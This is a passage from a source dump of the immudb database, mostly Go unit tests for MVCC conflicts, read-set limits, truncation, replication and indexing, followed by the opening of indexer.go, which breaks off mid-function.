err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key5"), nil, []byte("value5")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), }) require.NoError(t, err) for { _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } } err = r.Close() require.NoError(t, err) err = tx3.Set([]byte("key6"), nil, []byte("value6")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete(context.Background(), []byte("key1")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), Filters: []FilterFn{IgnoreDeleted}, }) require.NoError(t, err) for { _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } } err = r.Close() require.NoError(t, err) err = tx3.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("read conflict should be detected when read keys are deleted by the ongoing transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete(context.Background(), []byte("key1")) require.NoError(t, err) err = tx3.Delete(context.Background(), []byte("key1")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), Filters: []FilterFn{IgnoreDeleted}, }) require.NoError(t, err) for { _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } } err = r.Close() require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) err = tx1.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete(context.Background(), []byte("key1")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), Filters: []FilterFn{IgnoreDeleted}, Offset: 1, }) require.NoError(t, err) for { _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } } err = r.Close() require.NoError(t, err) err = tx3.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) } func TestImmudbStoreMVCCBoundaries(t *testing.T) { mvccReadsetLimit := 3 immuStore, err := Open(t.TempDir(), DefaultOptions().WithMVCCReadSetLimit(mvccReadsetLimit)) require.NoError(t, err) defer immustoreClose(t, immuStore) t.Run("MVCC read-set limit should be reached when randomly reading keys", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { _, err = tx1.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.ErrorIs(t, err, ErrKeyNotFound) } for i := 0; i < mvccReadsetLimit; i++ { _, err = tx1.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) } err = tx1.Cancel() require.NoError(t, err) }) t.Run("MVCC read-set limit should not be reached when reading an updated key", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) } for i := 0; i <= mvccReadsetLimit; i++ { _, err = tx1.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.NoError(t, err) } err = tx1.Cancel() require.NoError(t, err) }) t.Run("MVCC read-set limit should be reached when reading keys by prefix", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { _, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf("key%d", i)), nil) require.ErrorIs(t, err, ErrKeyNotFound) } for i := 0; i < mvccReadsetLimit; i++ { _, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf("key%d", i)), nil) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) } err = tx1.Cancel() require.NoError(t, err) }) t.Run("MVCC read-set limit should not be reached when reading an updated entries", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) } for i := 0; i <= mvccReadsetLimit; i++ { _, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf("key%d", i)), nil) require.NoError(t, err) } err = tx1.Cancel() require.NoError(t, err) }) t.Run("MVCC read-set limit should be reached when scanning out of read-set boundaries", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) } r, err := tx1.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.NoError(t, err) // Note: creating the reader already consumes one read-set slot for i := 0; i < mvccReadsetLimit-1; i++ { _, _, err = r.Read(context.Background()) require.NoError(t, err) } _, _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) err = r.Close() require.NoError(t, err) err = tx1.Cancel() require.NoError(t, err) }) t.Run("MVCC read-set limit should be reached when reseting a reader out of read-set boundaries", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) } r, err := tx1.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.NoError(t, err) // Note: creating the reader already consumes one read-set slot for i := 0; i < mvccReadsetLimit-1; i++ { _, _, err = r.Read(context.Background()) require.NoError(t, err) } err = r.Reset() require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) err = r.Close() require.NoError(t, err) err = tx1.Cancel() require.NoError(t, err) }) t.Run("MVCC read-set limit should be reached when reading non-updated keys", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) } _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { _, err = tx2.Get(context.Background(), []byte(fmt.Sprintf("key%d", i))) require.NoError(t, err) } _, err = tx2.Get(context.Background(), []byte("key")) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) _, _, err = tx2.GetWithPrefix(context.Background(), []byte("key"), nil) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) _, err = tx2.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) err = tx2.Cancel() require.NoError(t, err) }) } func TestImmudbStoreWithClosedContext(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, immuStore) t.Run("transaction creation should fail with a cancelled", func(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) cancel() _, err := immuStore.NewTx(ctx, DefaultTxOptions()) require.ErrorIs(t, err, context.Canceled) }) t.Run("transaction commit should fail with a cancelled", func(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) tx, err := immuStore.NewTx(ctx, DefaultTxOptions()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) cancel() _, err = tx.Commit(ctx) require.ErrorIs(t, err, context.Canceled) }) } func TestImmudbStoreWithoutVLogCache(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithVLogCacheSize(0)) require.NoError(t, err) defer immuStore.Close() tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1"), val) } func TestImmudbStoreWithVLogCache(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithVLogCacheSize(10)) require.NoError(t, err) defer immuStore.Close() tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, valRef, err := immuStore.GetWithPrefix(context.Background(), []byte("key1"), nil) require.NoError(t, err) val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1"), val) } func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxConcurrency(100). WithMaxIOConcurrency(5) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) for i := 1; i <= 20; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) readTx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(hdr.ID, false, readTx) require.NoError(t, err) for _, e := range readTx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } deletePointTx := uint64(15) hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 20; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } } func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) for i := 1; i <= 10; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) } deletePointTx := uint64(5) hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 10; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.Error(t, err) } } } func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) for i := 1; i <= 10; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) } deletePointTx := uint64(5) hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) // TruncateUptoTx should be idempotent require.NoError(t, st.TruncateUptoTx(hdr.ID)) require.NoError(t, st.TruncateUptoTx(hdr.ID)) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 10; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.Error(t, err) } } } func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxConcurrency(100). WithMaxIOConcurrency(3) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) wg := sync.WaitGroup{} for i := 1; i <= 3; i++ { wg.Add(1) go func(j int) { defer wg.Done() for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", k)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) } }(i) } wg.Wait() deletePointTx := uint64(15) hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } } func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) waitCh := make(chan struct{}) doneCh := make(chan struct{}) for i := 1; i <= 20; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) if i == 10 { close(waitCh) } } deletePointTx := uint64(5) go func() { <-waitCh hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) close(doneCh) }() <-doneCh for i := deletePointTx; i <= 20; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.Error(t, err) } } } func TestExportTxWithTruncation(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) // Create a master store masterDir := t.TempDir() masterStore, err := Open(masterDir, opts) require.NoError(t, err) defer immustoreClose(t, masterStore) // Create a replica store replicaDir := t.TempDir() replicaStore, err := Open(replicaDir, DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, replicaStore) t.Run("validate replication post truncation on master", func(t *testing.T) { hdrs := make([]*TxHeader, 0, 5) // Add 10 transactions on master store for i := 1; i <= 10; i++ { tx, err := masterStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) hdrs = append(hdrs, hdr) } // Truncate upto 5th transaction on master store deletePointTx := uint64(5) hdr, err := masterStore.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, masterStore.TruncateUptoTx(hdr.ID)) // Validate that the values are not accessible for transactions that are truncated for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(masterStore.MaxTxEntries(), masterStore.MaxKeyLen()) err = masterStore.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := masterStore.ReadValue(e) require.Error(t, err) } } // Replicate all the transactions to replica store for i := uint64(1); i <= 10; i++ { txholder := tempTxHolder(t, masterStore) etx, err := masterStore.ExportTx(i, false, false, txholder) require.NoError(t, err) rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false, false) require.NoError(t, err) require.NotNil(t, rhdr) } // Validate that the alh is matching with master when data is exported to replica for i := uint64(1); i <= 10; i++ { tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) err = replicaStore.ReadTx(i, false, tx) require.NoError(t, err) hdr := hdrs[i-1] require.Equal(t, hdr.ID, tx.header.ID) require.Equal(t, hdr.Alh(), tx.header.Alh()) } // Validate that the values are not copied on replica for truncated transaction on master for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) err = replicaStore.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { val, err := replicaStore.ReadValue(e) require.NoError(t, err) require.Nil(t, val) } } // Validate that the values are copied on replica for non truncated transaction on master for i := deletePointTx; i <= 10; i++ { tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) err = replicaStore.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { val, err := replicaStore.ReadValue(e) require.NoError(t, err) require.NotNil(t, val) } } }) } func TestImmudbStoreTxMetadata(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) t.Run("test tx metadata with truncation header", func(t *testing.T) { tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) tx.WithMetadata(NewTxMetadata().WithTruncatedTxID(10)) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1}) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) require.Equal(t, uint32(3), valRef.Len()) require.Equal(t, sha256.Sum256([]byte{3, 2, 1}), valRef.HVal()) require.True(t, valRef.TxMetadata().HasTruncatedTxID()) trid, err := valRef.TxMetadata().GetTruncatedTxID() require.NoError(t, err) require.Equal(t, uint64(10), trid) }) t.Run("test tx metadata with no truncation header", func(t *testing.T) { tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) err = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1}) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(2), valRef.Tx()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte{1, 1, 1}, v) require.NoError(t, err) require.Equal(t, uint64(2), valRef.Tx()) require.Nil(t, valRef.TxMetadata()) require.Equal(t, uint64(2), valRef.HC()) require.Equal(t, uint32(3), valRef.Len()) require.Equal(t, sha256.Sum256([]byte{1, 1, 1}), valRef.HVal()) }) } func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) for i := 1; i <= 10; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) } deletePointTx := uint64(1) hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := 11; i <= 20; i++ { tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) hdr, err = tx.Commit(context.Background()) require.NoError(t, err) rtx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) err = st.ReadTx(hdr.ID, false, rtx) require.NoError(t, err) for _, e := range rtx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) } } } func TestCommitOfEmptyTxWithMetadata(t *testing.T) { st, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata().WithTruncatedTxID(1)) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) txholder, err := st.fetchAllocTx() require.NoError(t, err) defer st.releaseAllocTx(txholder) err = st.readTx(hdr.ID, false, true, txholder) require.NoError(t, err) require.Empty(t, txholder.Entries()) } func TestImmudbStore_ExportTxWithEmptyValues(t *testing.T) { opts := DefaultOptions().WithEmbeddedValues(false) st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) tx, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("my-key"), nil, nil) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) txholder, err := st.fetchAllocTx() require.NoError(t, err) defer st.releaseAllocTx(txholder) _, err = st.ExportTx(hdr.ID, false, false, txholder) require.NoError(t, err) } func TestIndexingChanges(t *testing.T) { st, err := Open(t.TempDir(), DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) require.NotNil(t, st) defer immustoreClose(t, st) err = st.InitIndexing(&IndexSpec{ SourcePrefix: []byte("j"), TargetPrefix: []byte("j"), }) require.NoError(t, err) err = st.InitIndexing(&IndexSpec{ SourcePrefix: []byte("k"), TargetPrefix: []byte("k"), }) require.NoError(t, err) tx1, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx1.Set([]byte("j1"), nil, []byte("val_j1")) require.NoError(t, err) err = tx1.Set([]byte("k1"), nil, []byte("val_k1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx2.Get(context.Background(), []byte("j1")) require.NoError(t, err) _, err = tx2.Get(context.Background(), []byte("k1")) require.NoError(t, err) _, err = tx2.Get(context.Background(), []byte("k2")) require.ErrorIs(t, err, ErrKeyNotFound) _, _, err = tx2.GetWithPrefixAndFilters(context.Background(), []byte("k2"), []byte("k2")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx2.Cancel() require.NoError(t, err) err = st.DeleteIndex([]byte("j")) require.NoError(t, err) err = st.DeleteIndex([]byte("j")) require.ErrorIs(t, err, ErrIndexNotFound) tx3, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx3.Get(context.Background(), []byte("j1")) require.ErrorIs(t, err, ErrKeyNotFound) _, err = tx3.Get(context.Background(), []byte("k1")) require.NoError(t, err) err = tx3.Cancel() require.NoError(t, err) err = st.InitIndexing(&IndexSpec{ SourcePrefix: []byte("j"), TargetPrefix: []byte("j"), }) require.NoError(t, err) tx4, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx4.Get(context.Background(), []byte("j1")) require.NoError(t, err) _, err = tx4.Get(context.Background(), []byte("k1")) require.NoError(t, err) err = tx4.Cancel() require.NoError(t, err) err = st.CloseIndexing([]byte("k")) require.NoError(t, err) tx5, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx5.Get(context.Background(), []byte("j1")) require.NoError(t, err) _, err = tx5.Get(context.Background(), []byte("k1")) require.ErrorIs(t, err, ErrKeyNotFound) _, err = st.GetBetween(context.Background(), []byte("k1"), 1, 1) require.ErrorIs(t, err, ErrKeyNotFound) _, _, err = tx5.GetWithPrefixAndFilters(context.Background(), []byte("k1"), []byte("k1")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx5.Cancel() require.NoError(t, err) _, err = st.Get(context.Background(), []byte("m1")) require.ErrorIs(t, err, ErrKeyNotFound) _, err = st.GetBetween(context.Background(), []byte("m1"), 1, 2) require.ErrorIs(t, err, ErrKeyNotFound) _, _, err = st.GetWithPrefixAndFilters(context.Background(), []byte("k1"), []byte("k1")) require.ErrorIs(t, err, ErrKeyNotFound) } ================================================ FILE: embedded/store/indexer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "bytes" "context" "crypto/sha256" "encoding/binary" "errors" "fmt" "math" "math/rand" "path/filepath" "sync" "sync/atomic" "time" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) var ErrWriteStalling = errors.New("write stalling") const ( writeStallingSleepDurationMin = 10 * time.Millisecond writeStallingSleepDurationMax = 50 * time.Millisecond ) type indexer struct { path string store *ImmuStore spec *IndexSpec tx *Tx maxBulkSize int bulkPreparationTimeout time.Duration _kvs []*tbtree.KVT //pre-allocated for multi-tx bulk indexing _val [DefaultMaxValueLen]byte //pre-allocated buffer to read entry values while mapping index *tbtree.TBtree ctx context.Context cancelFunc context.CancelFunc wHub *watchers.WatchersHub state int stateCond *sync.Cond closed bool compactionMutex sync.Mutex rwmutex sync.RWMutex metricsLastCommittedTrx prometheus.Gauge metricsLastIndexedTrx prometheus.Gauge } type EntryMapper = func(key []byte, value []byte) ([]byte, error) type runningState = int const ( running runningState = iota stopped paused ) var ( metricsLastIndexedTrxId = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_last_indexed_trx_id", Help: "The highest id of indexed transaction", }, []string{ "db", "index", }) metricsLastCommittedTrx = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_last_committed_trx_id", Help: "The highest id of committed transaction", }, []string{ "db", "index", }) ) func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) { if store == nil { return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } id := atomic.AddUint64(&store.nextIndexerID, 1) if id-1 > math.MaxUint16 { return nil, ErrMaxIndexersLimitExceeded } indexOpts := tbtree.DefaultOptions(). WithIdentifier(uint16(id - 1)). WithReadOnly(opts.ReadOnly). WithFileMode(opts.FileMode). WithLogger(opts.logger). WithFileSize(opts.FileSize). WithCacheSize(opts.IndexOpts.CacheSize). WithCache(store.indexCache). WithFlushThld(opts.IndexOpts.FlushThld). WithSyncThld(opts.IndexOpts.SyncThld). WithFlushBufferSize(opts.IndexOpts.FlushBufferSize). WithCleanupPercentage(opts.IndexOpts.CleanupPercentage). WithMaxActiveSnapshots(opts.IndexOpts.MaxActiveSnapshots). WithMaxNodeSize(opts.IndexOpts.MaxNodeSize). 